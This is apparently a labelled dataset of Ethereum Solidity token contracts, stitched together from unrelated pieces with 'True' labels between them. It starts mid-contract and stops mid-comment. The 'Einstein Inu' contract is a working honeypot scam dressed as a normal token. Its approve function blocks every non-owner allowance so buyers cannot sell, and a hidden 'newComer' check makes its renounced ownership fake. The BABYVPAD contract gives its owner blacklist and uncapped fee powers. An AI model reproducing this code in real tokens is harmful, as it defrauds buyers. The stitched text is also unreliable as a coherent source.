uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1 * 10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address private _devAddress = 0xb994a426D0A9f1343123db79c2a55a3dDaE03377;
address private _burnAddress = 0x0000000000000000000000000000000000000001;
string private _name = "Baby VLaunch";
string private _symbol = "BABYVPAD";
uint8 private _decimals = 9;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _devFee = 10;
uint256 private _previousDevFee = _devFee;
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxTxAmount = _tTotal.div(200).mul(1);
uint256 public _maxWalletToken = _tTotal.div(100).mul(1);
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// exclude owner, dev wallet, and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devAddress] = true;
_isExcludedFromMax[owner()] = true;
_isExcludedFromMax[address(this)] = true;
_isExcludedFromMax[_devAddress] = true;
_isExcludedFromMax[uniswapV2Pair] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function setIsBlacklisted(address holder, bool exempt) external onlyOwner() {
isBlacklisted[holder] = exempt;
}
function isExcludedFromMax(address holder, bool exempt) external onlyOwner() {
_isExcludedFromMax[holder] = exempt;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function burnAddress() public view returns (address) {
return _burnAddress;
}
function devAddress() public view returns (address) {
return _devAddress;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(,uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount,,) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(,uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount,) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
if (!deductTransferFee) {
return rAmount;
} else {
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setMaxWalletPercent(uint256 maxWalletToken) external onlyOwner() {
_maxWalletToken = _tTotal.mul(maxWalletToken).div(
10**2
);
}
//to recieve ETH from uniswapV2Router when swapping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tDev);
tTransferAmount = tTransferAmount.sub(tBurn);
return (tTransferAmount, tFee, tDev, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tDev, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rDev).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeDevFee(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devAddress] = _rOwned[_devAddress].add(rDev);
if(_isExcluded[_devAddress])
_tOwned[_devAddress] = _tOwned[_devAddress].add(tDev);
}
function _takeBurnFee(uint256 tBurn) private {
uint256 currentRate = _getRate();
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[_burnAddress] = _rOwned[_burnAddress].add(rBurn);
if(_isExcluded[_burnAddress])
_tOwned[_burnAddress] = _tOwned[_burnAddress].add(tBurn);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _devFee == 0) return;
_previousTaxFee = _taxFee;
_previousDevFee = _devFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_devFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_devFee = _previousDevFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBlacklisted[from], "Blacklisted address");
if(!_isExcludedFromMax[from] || !_isExcludedFromMax[to]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 heldTokens = balanceOf(to);
require((heldTokens + amount) <= _maxWalletToken, "Total Holding is currently limited, you can not buy that much.");
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tDev, uint256 tBurn) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tDev, tBurn, _getRate());
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeDevFee(tDev);
_takeBurnFee(tBurn);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | True | [
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pragma solidity ^0.4.9;
contract Token {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
string public symbol;
}
contract BMT is Token {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
mapping(address => uint256) freezeAccount;
address public minter;
function BMT(uint256 initialSupply, string tokenName, uint8 decimalUnits,uint256 _totalSupply,string tokenSymbol) {
minter = msg.sender;
balances[msg.sender] = initialSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
decimals = decimalUnits; // Amount of decimals for display purposes
totalSupply= _totalSupply; // All Token
symbol = tokenSymbol; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to] && freezeAccount[msg.sender]==0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to] && freezeAccount[_from]==0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
//account key
function freezeAccountOf(address _owner) constant returns (uint256 freeze) {
return freezeAccount[_owner];
}
//freeze account.if account !=0.freeze
function freeze(address account,uint key) {
if (msg.sender != minter) throw;
freezeAccount[account] = key;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-02
*/
/*
EINSTEIN INU - $EINSTEIN
Website: Einsteininu.com
Telegram: t.me/einsteinofficial
Medium: https://medium.com/@einsteininu1
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract EINSTEININU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**9* 10**18;
string private _name = 'Einstein Inu ' ;
string private _symbol = 'EINSTEIN ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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// Octo.fi Interest Program
// © 2020 Decentralized Tentacles
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
contract YieldRoles {
using Roles for Roles.Role;
constructor() internal {
_addOwner(msg.sender);
}
/*
* Owner functions
*/
event OwnerAdded(address indexed account);
event OwnerRemoved(address indexed account);
Roles.Role private _owners;
modifier onlyOwner() {
require(isOwner(msg.sender), "Sender is not owner");
_;
}
function isOwner(address account) public view returns (bool) {
return _owners.has(account);
}
function addOwner(address account) public onlyOwner {
_addOwner(account);
}
function renounceOwner() public {
_removeOwner(msg.sender);
}
function _addOwner(address account) internal {
_owners.add(account);
emit OwnerAdded(account);
}
function _removeOwner(address account) internal {
_owners.remove(account);
emit OwnerRemoved(account);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
